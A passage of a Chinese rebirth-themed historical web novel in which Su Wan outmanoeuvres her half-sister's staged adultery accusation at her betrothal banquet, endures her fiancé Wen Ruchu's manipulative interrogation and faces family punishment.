羊脂瓷杯细腻油润，温热湿气缓缓沁出，像极少女莹润削肩。时枫百思不得其解，她与“胆小怕生”有何关系，想得有些头疼，干脆不想了，专心闷头喝酒。
某客人感慨道：“苏二小姐知书达理，色艺双绝，闻名京城遐迩。温侍郎一表人才，云衢新贵之秀。檀郎谢女，真乃天作之合，苏家家主好福气。”
苏君识嘴角遮挡不住笑意，“过奖过奖。小女不才，高攀了贤婿门楣。”
苏温两家联姻，由户部梁尚书同浙江殷布政使，两位二品朝廷大员联名保媒，且得了圣上亲笔御赐，早已传遍街巷，人人交口称赞。
如今三书六礼过了大半，纳征之后，就剩下请期和迎亲。婚姻大事属于板上钉钉，任谁都不得随意毁约。
苏君识的春风得意，与温如初的胜券在握，一笔一划写在各自的脸上，相得益彰。
只苦了时枫，夹在人群中间，淹没于无聊的应酬交际的海洋，推杯换盏的浪潮此起彼伏，让他感到些许窒息。若不为此，他也不会驱车到人迹罕至的苏家偏院等待，就是不愿听人吹牛。
不曾想，却因此遭逢奇遇。
酒过三巡，时枫默默放下酒盏，两手攥了攥拳，站起身打算告辞。
忽然门外响起杂乱脚步声，紧接着进来七八个家丁，吵吵闹闹，推搡一位女子跌跌撞撞进入厅堂。
那女子双手捆缚，口中堵着帕子，眼神惊恐无措。众人定睛一看，不得了，竟是苏家二小姐苏绾。
“怎么回事？”温如初陡然站起身，脸色微暗。
“她偷汉子，被我抓正着。”苏沅芷略微带着激动的颤音自队伍末处传来。
她从容不迫莲步趸向厅堂中央，特意挑选金丝对襟织锦礼服，显得既庄重又大气，就为摆出苏家嫡女的派头。
苏君识佝偻着肩膀，耷拉着眉眼，以为自己听错了，“女儿说什么？再说一次。”
苏沅芷葱指指向苏绾，恨道：“苏绾那小贱蹄子，趁温侍郎上门提亲，家中忙乱之日，躲在偏院与男人苟合，被女儿当场捉住，捆了来交给爹爹发落。”
一席话惊起四座。
提亲之日，苏家二小姐竟被人捉奸在床，这可是了不得的大事。
时枫拿不准这群人唱得哪出戏，若苏绾所言为真，她是遭人陷害才有偏院那一遇，然而对方明明未曾得逞，哪里来的捉奸在床？
这局宴席，总算有点意思了。
男人眉毛一挑，悠哉悠哉负着手，局外人一样看起了热闹。
相比之下，温如初这位局中人，就没那么自在了。
他脸色凝重，双眉紧锁，攥着拳头逼近苏沅芷，“可是你亲眼所见？”
苏沅芷笃定道：“阖府上下，起码十几双眼睛，全都看着她苟且。”
苏绾弱柳扶风栽歪一旁，衣襟领口大片褶皱，手腕处被绳索勒出血痕。她拼命地摇头否认，眼眶噙满委屈的泪水。
那点泪水落在时枫的眼里，犹如心水泛起涟漪，不禁让他起了疑心。这疯女人，方才车厢内还叫嚣威胁他，焉得这般柔弱愚蠢？
温如初颤抖着嘴唇，“凭你一张嘴，可有实质证据？”
苏沅芷定了定心神，使了个眼色，立刻走上来随从老丁。
老丁向周围躬身作揖，说道：“小的乃大小姐随身仆役，纳征吉日奉命打扫偏院，不曾想撞见一桩大事。小的亲眼看见，二小姐不着穿戴，只裹了薄被，登上门口停靠的马车。”
他擦了擦额头汗水，吞咽了口吐沫，继续说道：“起初，小的疑心自己眼花看错了，特意追过去询问车夫，那车上所坐何人。车夫告知，此乃苏家邀请的贵宾，警告我不要滥打听。小的不敢多问，赶紧禀告大小姐。大小姐急急召人，这才在路上拦截了正欲归家的二小姐。”
老丁举二指赌咒发誓：“小的所说尽实，若有半点虚假，天打五雷轰顶。”
“那位胆大的奸夫并未离去，此刻就在这宴席之上。”苏沅芷伸手指向人群深处。
众人望向她手指之处，阳光笼罩一袭幽暗身影挺立，而待看清她所指何人，人群瞬间爆炸。
山崩地裂。
4. 捉奸
“就是这位，三品京卫指挥使，时将军！”
如潮人声伴随“时将军”仨字尾音，升入浪极，又骤然跌落，陷入尴尬的沉默海洋。
三品京卫指挥使时枫，绰号“冷面阎罗”，武功盖世，传言曾徒手杀死一只黑熊。其人性格冷酷无情，杀伐果断，不留一丝情面。
没人敢惹“冷面阎罗”。
苏家嫡子苏尽欢突然以拳击掌，恍然大悟道：“原来是你们俩在偏院胡搞，我还奇怪，到底谁家女子勾引时将军。”他跬步向前，耸着肩膀奸笑道：“你俩什么时候搞到一起的？我怎么没听见一点风声？”
时枫脸色骤然晦暗，凤眸低觑苏沅芷，檀唇紧闭，一言不发。两手从背后抽回，骨节分明的手指张开，又合拢，似乎在为某些行动热身。阳光照射厅堂，玄色衣袍抖了抖，银色绣蟒吞吐蛇信，张牙舞爪，栩栩如生。
一旁苏君识吓得浑身哆嗦，揣着袖子问道：“女儿，你可看清楚了？”
苏沅芷挺起胸脯，高声道：“当然。女儿绝无虚假造势。爹爹，快快拿下这对奸夫□□。”
苏君识不敢动手，老眼觑向温如初，期盼未来女婿替他出面协调。
温如初原本紧绷的脸，反而趋于缓和——他十分确定，车厢里的女人不是苏绾，分明是个妓子。但他此刻并不想拆穿苏沅芷。不为别的，此女一贯嚣张跋扈，是时候该吃点教训了。桃花眼眸剪了剪，始终不看苏君识，急得老丈人直跺脚。
家主不发话，满屋子家丁及亲眷，没人胆敢擅自上前，遑论对方还是令人闻风丧胆的将军。
“一群废物，看我的。”苏沅芷见无人替她出头，决定亲自上阵。她端出大小姐的气势，捉裙趸步上前，朱唇轻启：“本小姐看你还有何……”
话未说完，千钧一发之际，一记手刀劈面而来。苏沅芷来不及眨眼，只见浮空一道黑影，手起刀落，虎虎生风，直击额首面门。她身体一颤，软软瘫倒在地，嘴边余留颤颤尾音：“……辩解。”
一连串动作仅发生瞬间。
万籁俱寂，静的可怕。
全场哗然，哭嚎声，惊呼声，叹息声，瞬间混为一体，房顶几欲震塌。家丁婆子们来来往往，递水递巾扇风，拼命拯救大小姐。任谁都无法相信，堂堂京卫指挥使，竟然光天化日之下行凶。细想一下，又在意料之中，扪心自问，谁人有胆子，敢当面指证“冷面阎罗”？
而那行凶之人，神情泰然自若，负手伫立一旁，仿佛局外人一样。
苏君识跺着脚，安排家丁抬走苏沅芷，失声痛哭：“这、这是要干什么？作孽哟。”话虽如此，可他也没胆子将罪魁祸首绳之以法。
苏尽欢惊愕地瞪大眼睛，吐着舌头，心里十分后怕，倘若盲从姐姐上头阵，让他也挨上这一劈，这会子趴在地上装死尸的就是他。
温如初脸色如霜，隐藏在月白袖管内的双手，紧紧攥了攥拳。他的发小刚刚以一击手刀，重拳劈了他的妻姐。虽在意料之内，然而这样并不能洗清时枫的嫌疑。
苏绾躲在阴影，面色依旧保持惊恐无状。无霜悄悄趁乱上前，解开苏绾的束缚，附耳低语。苏绾点点头，星眸眼波流转，不经意与清冷凤眸对接。
一瞬间，他忽然明白，自己已然成为她手中的一颗棋子，任人摆布。玄袍男人不再淡定，眸底迸发狠戾之色。这疯女人，竟敢设局陷害他，不要命了！
他才没心情陪玩。时枫咬咬牙，负手抬靴欲走。
“且慢。”后堂传来气势沉稳之声。
苏夫人缓缓踱步行至堂前，一屁股坐进太师椅，“时将军打伤我的女儿，还想一走了之，视我苏家为草芥。万万不可。今日老身，非要为爱女讨回公道。”
时枫转过身，“你要讨公道，自去衙门声讨。”凤眸微眯，语气充满不耐烦，“这与我何干？”
苏夫人果然见过世面，丝毫没被对方的威名吓倒，丹凤眼一斜，拿出当家主母的气势，“怎会与你无关？人不是你打的吗？这么多双眼睛可都看着呢，还想狡赖不成。堂堂三品京卫指挥使，光天化日行凶，当我苏家没人么？”
她低下细眉，眼里满是戏谑，“你离开京城太久，怕是不知道，哪里的钉子碰不得。”
时枫冷笑一声，“你既这么说，本将军偏要试一试，这根钉子能有多硬。”他负着双臂，有模有样看起了热闹。
苏夫人嘴上逞能，心里仍惧怕他几分，她拿时枫没辙，只好拿苏绾开刀。她两手掐腰，横眉怒目，“你这不孝女，快快实实招来。”
苏绾玉手扶额，佯作回忆：“我一早起来，沐浴、更衣、梳妆、焚香、祈福。总归就是这些平常事，并无见过外人。整个早上我都待在自己房间，未曾踏出房门半步，徐嬷嬷可以作证。哦，对了，半个时辰前，母亲还差人递金簪与我，嘱咐我宴席配戴。”
徐嬷嬷乃苏老太爷在世时管家嬷嬷，虽年岁大了不太管事，言行在苏府仍占重要地位，遑论苏夫人那边，亦有人证。
苏绾继续说道：“宴席开始，我寻了半日不见大姐姐，就去东厢房找她。谁知……”
佳人欲言又止，粉泪盈盈，“大姐姐一见我，就说我触了她的霉头，掐我的脖子咒我不得好死，呜呜……”
衣领半开半阖，隐约可见殷红掐痕。
“大姐姐不解恨，又叫人绑了我的手，堵住我的嘴，说是要治我通奸的罪名，还、还要叫爹爹把我吊梧桐树活活打死。”
苏绾捶胸顿足哭泣，腕间呈现道道血痕，那是被麻绳勒出来的痕迹。
温如初握住苏绾的玉手，心疼道：“绾绾，我相信你。”
那边苏夫人幽幽道：“凭她一张嘴，说出来的话怎可信？小偷难道会承认自己是贼不成？”
她自袖里掏出绢帕包裹，鼓鼓囊囊，摊开手掌看，原来是块小巧墨玉翡翠，晶莹剔透，做工精细，一看就是上品。
“据小女的随身奴仆说，这东西是奸夫从身上扯下来，赠与苏绾的定情信物。”
苏夫人丹凤眼一沉，拍案而起，“谁身上少块玉，谁就是奸夫。不做亏心事，不怕鬼敲门。在座诸位都有份，老身倒要看看，到底是谁，见不得阳光。”
时枫负在身后的手掌陡然僵硬，束腕镶嵌的翡翠不翼而飞，想来是在车厢被人挖了去。
这可不好办了。
另一边后厅众人接力抢救，又是掐人中，又是灌人参水，约莫一刻钟工夫，苏沅芷终于清醒。她蓬头散发，形容憔悴，额间竖立血痕，一指来长，好似百足蜈蚣。
苏沅芷摸额首，鲜血淋漓，她三步并作两步，趿拉绣鞋奔入前厅，迎头痛哭：“爹爹娘亲，冤煞女儿也！”
苏夫人拉着苏沅芷的手安抚道：“沅儿莫怕，娘亲给你做主。事情不查个水落石出之前，他们谁都不许走。”
“来人呐。”苏夫人一声令下，“关门，搜身。”
闻听苏夫人要搜身，在场宾客轰然炸裂。
“岂有此理，我看谁敢搜本官的身？咱们明日衙门见。”
“苏郎中，别把事情做绝，大家共事一堂，低头不见抬头见的。”
“你家里出了丑事，屎盆子扣到我们头上，不想活了？”
苏君识以袖口擦拭额头细汗，躬身连连致歉，“不敢不敢，苏某绝不做怠慢无礼之举，各位放心放心。”
时枫站在人群里，进也不是退也不是。等下搜到他头上来，岂不是人赃并获。
可恶。
男人阖合眼眸，咬了咬后槽牙。
忽然身后负着的手心，有人悄悄塞进什么东西，质地冰冰凉凉，摸着形如雀卵。
原来是无霜，趁人不注意，递了块相似的绿松石给他，解了他的燃眉之急。
男人悄无声息将绿松石摁进束腕处凹槽，形状大小正好，严丝合缝匹配。亏得她费尽心机，寻到几乎等大的玉饰。
疯癫婆娘，存心耍弄他！
这时上来一列家丁，由老丁带队，叫嚣向宾客逐渐靠拢。苏夫人一手掐腰，一手拈帕，指向漩涡中心，尖着嗓子道：“给我搜！”
十几双大手扑棱够向外圈宾客，老丁前头吃了时枫的亏，故意找准位置探向男人身侧，嘴里声东击西地道歉：“得罪了，得罪了。”
手指甫一触及腰间束带，却被铁爪狠狠钳住手腕，力度极大。只听“咔嚓”一下，老丁遽然收手，举着扭曲反向变形手臂，吱哇乱叫：“疼疼疼……”
人群汇成混乱的海洋，一波未平，一波又起。苏夫人脸色骤变，嗓子几乎变音：“上，给我上！”
剑拔弩张之际，管家突然进门，凑近苏君识耳边，小声道：“老爷，发现柴房关押一名小厮，问啥都不肯说，形迹十分可疑，要不要叫上来问问？”
这节骨眼竟然抓到可疑人物，苏君识忙令：“快快带上来。”
不多时，小厮手足捆绑，悬吊扁担下，被家丁抬着送进厅堂。小厮一把鼻涕一把泪道：“求老爷饶命，都是大小姐指使，要小的假扮奸夫
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，躲在西厢房，伺机陷害二小姐。小的不敢不从，按照指示打算西厢房潜伏，越想越不对劲，小的哪能做此伤天害理之事。小的良心发现，打算跑回老家，谁知半路被府上家丁截住，小的说不出子丑寅卯，被绑了个结实。小的实在冤枉啊。”
温如初逼近小厮，“你可曾侵犯二小姐？”
小厮慌忙揺手否认：“不敢不敢，小的在西厢房躲藏半日，不见二小姐的影子，惟闻门外响起马蹄声，不知从哪里来了一辆马车。小的担忧被人发现，趁早翻墙溜了。”
苏沅芷看情形不对，伸出葱指欲撕烂小厮的嘴，“你这孽障，偏偏诬陷我作甚？闭嘴，我要你永远闭嘴。”
幸亏管家眼明手快，命令家丁立即将小厮抬下去，锁进柴房，听候发落。
真相大白，水落石出，苏沅芷自导自演一出戏，难以自圆其说，搬石头砸自己脚。
时枫方才醒悟，原来并非“仙人跳”，而是一局“借刀杀人”，苏绾假借他的手，惩罚陷害她的苏沅芷。
话虽如此，然而他并不喜欢被人当作一柄刀来使。
温如初冷眼睇了半日，拜向苏氏夫妇，“岳丈岳母，事情既已水落石出，也没有再问下去的必要。依小婿来看，大家各退一步，得饶人处且饶人，所谓家和万事兴。”
苏君识缩了缩身子没有搭话，装出唉声叹气的样子，好似霜打的茄子。
苏夫人仍不肯罢休，“还没搜身呐，万不可轻易断定没有鬼。即便小女一时糊涂办错事，又如何证明苏绾没有通奸？”
苏夫人不愧女中豪杰，思路清晰，逻辑通畅，连时枫都觉得，她的话有道理。
何况，他并不怕被搜身。
男人故意挺直腰板，摆出高姿态。
忽然苏绾轻轻说道：“假如时将军是奸夫的话，恐怕在座各位早已被遣散归家，还吃什么定亲宴。”
“堂堂京卫指挥使，驰骋沙场间，又怎可能置自己的女人于深渊不顾，甘愿受万夫指点？”
时枫差点咬断后槽牙，这疯女人耍弄他还上瘾了，故意把嫌疑往他身上扯。
好在没人猜忌到他头上，况且他最近才从边疆调任京卫，初次登门苏府，哪有机会同苏二小姐苟且。
不通不通。
众人感慨，苏夫人一招见风使舵，还算高明，可惜没有半点说服力。
苏沅芷见大势已去，一时气血冲头，两眼放射凶光，“你这小娼妇，竟敢陷害我，我杀了你！”说着，疾走两步，陡然伸手扼苏绾的喉咙。
苏绾花容失色，“不要啊，求姐姐放过我。”
苏沅芷披头散发，全无官家小姐端庄模样，口中骂骂咧咧，当真好似女鬼索命。两手触及脖颈，刚要用力，谁知脚底一滑，又或是被人绊了下，忽然身子一斜，向桌案栽歪。
好巧不巧，案上摆放一盆铜火锅，炭火炽热。苏沅芷的额头擦着铜锅壁滑落，皮肤焦灼，发出“滋啦啦”的声响。原本劈裂的伤口，经过烧灼，肌肉紧缩，反倒止住血流。
“啊——”苏沅芷大叫一声，声音撕心裂肺，身子摇晃几下，再次晕厥扑倒。
婆子妈大呼小叫，众人围绕簇拥。明眼的宾客低头，都道是苏大小姐“活该”。
时枫抬脚往外走，无奈被温如初扯住手腕，正按在腕间镶嵌绿松石处。
温如初苦苦央求：“榆白，看在你我总角之交情分，救场如救火。大不了，我欠你一顿醉仙楼，如何？”
时枫有意无意抽回手，“这时候想起我来了？方才他们将屎盆子扣我脑袋，你又在何处？”
温如初忙说：“哎呀，榆白兄。我有难言苦衷啊。换位思考，假若旁人污蔑我对你图谋不轨，你是否也要慎思笃行呢？”
时枫冷哼一声，“一顿醉仙楼就想打发为兄？也忒便宜你了。”
话虽如此，他还是留了下来，帮忙疏散宾客，清理现场，指挥秩序。
一旁的苏绾感到呼吸困难身心俱疲，周遭好似有无数蚊蚋，嗡嗡嗡，吵得她心烦。
她的心思，全在另一处。
午后阳光正好，密密匝匝光线透过窗棂照进厅堂，投下斑驳陆离的影。那光影连接处，站着一具高大挺拔身影，似远又近，若即若离。
苏绾忍不住伸出手，追逐那束光的尽头。
“绾绾。”温如初伸手扶住快要晕厥的苏绾，附耳细语道：“你随我到后花园来，我有事情跟你说。”
满地光影瞬间碎裂在她的手心。
5. 操控
后花园池塘清澈见底，睡莲盛开，水佩风裳，茂叶含翠，花瓣如玉，鱼儿穿梭其间，涟漪荡漾。
在这片柳亸莺娇，祥和宁静的景致里，苏绾却好似坠入无尽深渊地狱。身子骨软弱无力，不住打冷颤，白皙额首沁着细汗，浑黄眼珠蒙上一层阴翳。
“绾绾，你不舒服？我叫人煮点桂圆红枣汤给你。”
温如初倚在凉亭内吴王靠，两臂伸展搭在靠背，姿势慵懒且放松。厅堂内的喧嚣消失殆尽，此刻他心情一片骀荡。
听起来再普通不过的问候，只是温如初的“开场白”，让人感到暖心的关切，根本不会怀疑任何险恶用心。然而除苏绾以外，无人知晓那层良善的面具之下，隐藏怎样丑陋嘴脸。
苏绾如坐针毡，两臂绞在一处，嘴唇紧抿，沉默地摇摇头。
“你没有什么话想同我说吗？”温如初睇着苏绾，桃花眸底泛出冷戾光芒。
“我……”苏绾咬着苍白的唇际，心里乱作一团。
纳征大喜之日，她引诱外男，背叛亲夫，暗算长姐。任何一点拿出来，都是“死罪”。假如神佛显灵，也要治她背信弃义、水性杨花的罪名。
重生一世，她可有别的路走？
苏绾稍微坐直身子，颤巍巍地捋起散乱青丝，“苏沅芷故伎重施，大概不想我能安稳离开这个家。你也知道的，她一直钟情于你，想方设法拆散我们。”
她扬起洁白额头，十分小心地窥他，“念哥哥，你不相信绾绾吗？”
他绝无可能看破她的谎言，撇去结果不论，她的计划毫无纰漏，堪称完美。
“我当然相信绾绾，你在这一点上，做得很好。”温如初抬起俊美下颌，眼皮半饧，嘴角噙着笑意，“我答应过你，一定会娶你过门，让你不再受苏家折磨。我做到了，全心全意爱你，不疑有他。而你回报我的是什么？忘恩负义，吃里扒外，嗯？”
他习惯运用这套话术审问，先肯定她的心意，继而袒露心扉，最后突然反转，扣一顶背叛的帽子给她，教她无所适从。
假若她对他的决定表示异议，他会立即将她背叛罪名无限扩大化，甚至不惜侮辱她的人格。
时间一长，苏绾痛得麻木，便忘记了反抗。
“绾绾不敢。”苏绾低下头。
温如初向前倾了倾身子，月白袍子映着碧绿潭水，衬托他素辉一样冰而冷的眼眸，“当真不敢？你再仔细想想，要不要我帮你回忆一下？”
“绾绾没有骗人。”苏绾跪伏在他膝前，仰望她从前的“神”，努力装出虔诚模样。
“很好。”温如初畅然笑着。
那笑容有几分堪破阴谋诡计的从容，又有几分尽在掌握的淡定。
他伸出纤白手掌，轻轻抚摸苏绾额首，桃花泛水的眼眸里，闪着对乖巧宠物的赞许。
“绾绾，你对我很重要。”
惊雷霹雳，沿着冰凉指尖灌入她头顶，仿佛炸开窍。
苏绾浑身颤抖不已，熟悉话语一遍又一遍响彻耳际。脑海里飞速掠过一幅幅画面，每张画里都有同样玉质金相面孔，挂着同样阴鸷邪恶笑容，抚摸她的额首，对她说：“绾绾，你对我很重要。”
他亲手将她送到阁老床榻，以换取内阁一席之地；为拉拢掌印太监，逼她玉体横陈皇宫大殿，只为满足掌印私欲；她全心助力他权势滔天，成为内阁首辅，再到摄政王，却不肯给她皇后的名分。反叛军来袭，他只还她一丛烈火得永生。
不堪回首的画面在眼前不停环绕，记忆浪潮一波又一波，猛烈拍打苏绾的神智。无休无止的折磨，化作绝望的网，牢牢束缚她的心，割裂块块血肉，汩汩流着血水。她感到喉咙有些发痒，伸出手指抓挠，直刮出一道道血痕。
迷离恍惚之中，唯有游思飘荡。
糟糕！
一定不能被他抓住她撒谎，否则他会杀了她，会杀掉所有人。他的本事通天，连皇帝老儿都被他鸩杀。他呼风唤雨，通晓前世今生，上天入地，无所不能。他是神明，是宇宙万物主宰，掌握一切生杀大权。
凡人怎能忤逆神明？
苏绾蜷缩成一团，两手不停抓挠喉咙，齐齐咬断指甲，她必须隐藏秘密。不能被他发现，会死，她会死在这里。
“绾绾，不要闹了，好不好？”温如初对苏绾的激烈反应感到莫名诧异，她向来乖顺，如今怎么问她几句，就这般疯癫难弄。
他拢着腿弯抱她，轻抚她后背叹息，“何苦伤害自己？伤在你身，痛在我心。”
捏起她的下巴尖，左右看了看，痛惜道：“如此纯净无瑕容颜，怎就舍得割破？你对我也忒狠心。”
又挽起葇荑，敛着眉间，“这双灵巧的手儿，拈绣花针还不够吗？偏要用来折磨自己，实在是不乖。”
苏绾已分不清前世今生，只想撇清自己嫌疑，嘴里呶呶：“我没有骗你，你要相信我，相信我。”
温如初搂着她，“我当然相信你，然而适才殿堂之上，当着众人面，你的行止着实让我难堪。”
“你说：‘假如时将军是奸夫的话，恐怕在座各位早已遣散归家，还吃什么定亲宴’，你瞧瞧你这说的什么话？成何体统？就算是一时气话，也不该这般粗鄙狂妄。我堂堂三品户部侍郎，难道没本事帮你洗清嫌疑吗？”
“你不该搭讪外男，忒不懂分寸礼仪，更何况他还是我谊切苔岑的兄弟。我在人前失面子事小，若被人谣诼你清白，说你水性杨花，勾引大伯，我怎么受得了？嗯？”
温如初低首睐她，“现在知道错了没有？”
“绾绾知道错了。”苏绾神思尚恍惚，迷迷糊糊地答应着。只求他不再追究她的过错，根本无法深究他是“强词夺理”，还是“无中生有”。她蜷缩进男人宽阔怀抱，让自己显得乖巧且无害，这样就不会被他杀掉。
“乖，知错能改，善莫大焉。”
温如初并不相信苏沅芷胡诌编撰的那套说法。苏绾没有那个胆子，敢欺骗背叛他。
白玉公子睇着胭脂淡色面颊，长长睫毛挂着晶莹泪花，星眸桃花泛露，浅浅柔唇残留痴怨，忍不住动了情。
他凑近佳人，耳鬓厮磨，“请期吉日良辰拟由司礼监选定，届时我请八抬大轿来娶你，做我温念的妻。你高不高兴？嗯？”
苏绾迷迷糊糊听到这句话，忽如寒潮笼罩，浑身冰冷如霜。
做我温念的妻。
心里有个声音督促她，大声警醒她，要她千万记住这六个字。
刻骨铭心的苦楚，将她从无边无止恐惧中，一层一层，如抽丝剥茧般拉回现实。
短短六个字，便是她人生噩梦的开始。
为此，她付出血与泪的代价，赔上全部身家性命。
重生一世，为何而来？
她唯有一句回话：
死也不做他的妻。
“你说什么？”温如初眼眸一凛，杀气棱棱。
白玉公子动了怒气，月白袍子迎风拽影。
“你不高兴嫁给我？”
苏绾全然苏醒，面对温如初的质问，假装木讷地点点头，“高兴，绾绾巴不得早日嫁入温府，逃离这个吃人的家。”
星眸婉转，一缕愁云袭上眉间，“可是，良辰吉日泰半集中秋冬时节，算一算，还有大半年呢，绾绾等得好辛苦。”
温如初闻言笑了笑，“原来如此，你是在急这个呀。”
他将苏绾揽进怀里，下颚架在苏绾头顶，眼眸充满憧憬：“你莫要担心，待我有空敲打岳父母，争取将婚礼日子定在霜降。不算太久，也不会太近，足够你筹备张罗。”
“我要让绾绾，成为京城最耀眼的明珠。”
苏绾默默倾听着，让她前世痛不欲生的神明的甜言蜜语，内心平静如水，心底隐藏的伤痕映照一清二楚。
她灵机一动，掏出贴身的白罗帕子，葱指翻转几下，即绾作同心结，献给心上人，绑在手腕间。
“念哥哥，愿你我，同心结尽千千缕，朝朝暮暮长相思。”
温如初畅笑一声，食指刮了刮她的鼻尖，“小东西，就你鬼机灵，巧嘴巧手，谁都比不过你。”
好险，差点被他发现真相。
她忽然意识到，想要逃脱温如初的桎梏，简直比登天还难。他随意几句话，便能让她丧失理智，濒临崩溃边缘。但她有的是耐心，鹄望恶鬼败在她的利剑之下，再将它亲手推入无间地狱。
只是，她须先借到这把剑。
苏绾偎依温如初怀里，又同他假意温存一阵，借口推说风刺得她头疼，扶额摇曳离开后花园。
出得月亮拱门，躲避温如初视线，苏绾甩开手臂，向西边廊檐急急奔去。她须回柴门查看，确
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认关押的小厮已被悄悄释放。
没走两步，突然两眼一黑，一堵高墙挡在面前。
苏绾抬螓首睇去，铁兽正黑脸觑她。身上散发出清冽如雪的松木气息，刺激她的神智一跳一跳，她向来不喜欢松油的味道。
“时将军，你还没走？奴家要谢谢你，两次帮我脱离困境。”
时枫没搭理她，凤眸散发冷戾锋芒，好似两柄利剑，要将苏绾射死。
睇了半日，男人缓缓说道：“娼妓二字，与你很配。”
苏绾平生最恨被叫那两个字，尤其是从他嘴里吐出来，承载前世今生双重愤怒，登时一股火气窜上眉间，“敢问时将军，此话怎讲？若是为先头马车一案，真相已经大白，也不必再过多纠缠。倘若时将军一意孤行，污蔑诋毁我的清白，那我告诉你，我娘就是娼妓，我是娼妓生的崽子，生下来就是下贱命。这话根本伤不得我一分一毫。”
时枫蓦然一愣，未曾料到她会这般坦荡又刚烈。他张了张嘴，似要变本加厉地回怼，又犹豫着，眉头蹙得紧紧。隔了半晌，吐出一句：“耍弄我，有意思？”
苏绾内心自省一番，借他人之手杀苏沅芷，确是她的野心，她也无从辩驳。可这事你情我愿，话不投机半句多，谈不上“耍弄”二字。
“时将军多心了，宴席之上纯粹苏家内部家事，无意卷将军入纷争，你也看见了，是她苏沅芷坑害我在先，坏人自有天惩。然而奴家确切欠将军一个人情，这里并非畅谈之所，改日奴家专门下帖子请你，醉仙楼一叙，可好？”
佳人神情自若，巧言令色，仿佛巧嘴鹦哥，抖动长长尾羽，婉转莺啼。这个疯女人，人前一套，人后一套，左右逢源。
他处理完前厅的喧嚣，安顿好惊慌的宾客，打算跟温如初道别。趸至后花园，恰好窥见二人搂抱成团，卿卿我我。
一条帕子绾作同心结，朝朝暮暮长相思？
换做旁人也便罢了，夫妻伉俪情深似海。可这疯女人，前一刻还在他面前，脱光了衣服求他救助，下一刻就和温如初花前月下、山盟海誓。
蛇蝎美人，拿他当猴耍。
大手擎住单薄肩膀，猛地揿在廊柱，惊得佳人低低尖叫：“你干什么？”
男人凑近娇容，眼眸泛着黯晦光芒，“小婊子，给脸不要脸。惹怒了本将军，你可知道后果？”
那冷光令人不寒而栗，苏绾颤抖声音求饶：“奴家自知欠时将军人情，总要宽裕些时间，何必逼人太甚？”
“区区一句还人情，就想打发我？那么谁来安抚本将军所受的委屈？我可是挂上奸夫的铭牌，被迫招摇过市。”
觑着雪白小巧耳珠，时枫颇有些懊悔，假若车厢里将计就计吃掉她，至少不会败得如此破落不堪。
苏绾亦十分后悔，恨自己初生牛犊不怕虎，竟敢打“冷面阎罗”的主意。这家伙软硬不吃，简直无懈可击。
绝不可坐以待毙，束手就擒。
苏绾低下眼眸，沉声道：“时将军，你也算见识过奴家的本领，就算闹出天大的动静，奴家也能掩盖了事。你就那么有把握，他会选择相信你？”
“将军不是说过，‘温如初与我尔汝之交，鹡鸰在原’。还是说，将军已做好背叛兄弟的准备？”
“此刻，他就在隔壁后花园晒太阳，将军自可随意殴打奴家，一掌拍死我也没问题。只是，”苏绾眼眸一沉，“你不要后悔。”
没完没了，这疯女人不要命吗？！
不仅一眼看破他的虚张声势，还在蛊惑他，欺骗他，真当他是天底下最大的傻瓜。
“够了。”
时枫厌恶至极，心里似吃了苍蝇，恨不得赶紧摆脱掉她，他一把甩掉如玉臂膀，牛眼狠狠瞪着苏绾，“滚，少来惹我。”
言毕，转身欻然离去，连温如初也不去见。
这是他今日第二次让她滚，苏绾一路目送如山背影，心里免不了后怕。伴君如伴虎，她实在不该招惹一匹猎兽。
可她无论如何都想不到，纳征完美一战，并非败于他的难缠，而是溃于一条罗帕同心结。
正思索间，忽然苏夫人房里的婢女阿沁急急忙忙向这边走来。
阿沁见了苏绾，来不及打招呼，急道：“夫人召二小姐去厅堂问话。”
苏绾眼眸一沉，苏夫人果然不会轻易放过她。
6. 家法
一进厅堂，便见檀香紫檀木雕花大案，漆器杯托银壶，珍珠香囊荷包，琥珀雕屏障眼。黄金烛台悬于左右，白玉盆内盛放清香之品。
与之华美摆设不相搭配的，却是厅堂内冷漠的苏家家主——苏君识，埋进黄花梨太师椅，两撇淡眉各分东西，与八字胡遥相对映。巧合的是，都沾染黄昏晚露，亦或席间冷酒。两条单薄的唇，因愤怒而微微分离，却又不敢完全张开，生怕抢占夫人的风头。
“你这不孝女，当着众多宾客面，冲撞忤逆你姐姐，教她颜面尽失，想活活气死你爹？我养你这么大，竟养出一只白眼狼。快向你姐姐赔不是，再去祠堂下跪，面壁思过，三日不得进食。”
苏绾跪在厅堂中间，心里忖度应对策略。
苏家绝不肯善罢甘休，必定狠狠教训她一顿，替苏沅芷出气。不管苏沅芷有没有过错，是不是构陷，苏绾都要为所作所为付出代价，这是庶女的宿命。
她垂着眼眸，神情坦然，不卑不亢，“父亲说话好没道理，明明苏沅芷诬陷我在先，被我戳破谎言后，恼羞成怒又想掐死我，怎么还要我跟她道歉？温侍郎与时将军在场时，父亲可不是这样下定论的。”
苏君识闻言大怒，“啪”得拍案而起，“你还好意思提起他们？堂堂三品大员为你蒙羞，传出去丢我苏家的脸面。温侍郎亲自上门提亲，那是我苏家何等荣耀？你却将之毁于一旦。逆女！逆女！”
苏绾面无惧色，挺直腰板，勇敢迎上愤怒的目光，“苏家的脸面可不是被我丢尽的，毁了宴席的人也不是我。外头的人纵使嘲笑，也嘲不到我头上。他们只会笑苏家嫡女是搬石头砸自己脚的蠢货，笑苏家家主是枉顾是非颠倒黑白的庸才。”
苏君识万没想到，一向逆来顺受的庶女竟敢当面嘲弄他威严，气得七窍生烟，眉毛胡子一把抓，“还敢顶嘴？来人呐，给我狠狠抽她嘴巴，我看你嘴硬到何时！”
苏绾一动不动，目光坚毅毫无惧色。自她八岁踏进苏家门槛以来，头些年没少挨打。尤其她娘去世后，动辄得咎，没日没夜的打，常常打得她接连数日下不来床。
“有种你就打死我，只要我还留口气，我就要宣告天下人，苏沅芷撒谎成精，辱我清白，构陷我同小厮捱光，她有今日下场，活该，她活该！”
苏绾大笑着，眼眶泪水止不住流。
苏君识差点被活活气死，他大手一挥，衣袖扫过案边，带走一杯凉茶。茶盏“咣当”落地，咔嚓碎成两半，溅他一腿洇湿，好不狼狈。
“逆女，快拿大棒，给我打死，打死！”
一旁苏夫人斜睨苏君识，清了清嗓子，“老爷不必置气，她既然喊冤，那就跟她掰扯掰扯，让她心服口服，再无可辩驳。”
苏君识一听，立马好似被夺权的将军，泄气缩回太师椅，将战场指挥大权拱手交给苏夫人。
苏夫人正过身子，丹凤眼睐着苏绾，两片薄唇道尽世间百态，“沅儿生性纯良，断不会诬陷好人，她受此天大侮辱，我当娘的必要为她做主。”
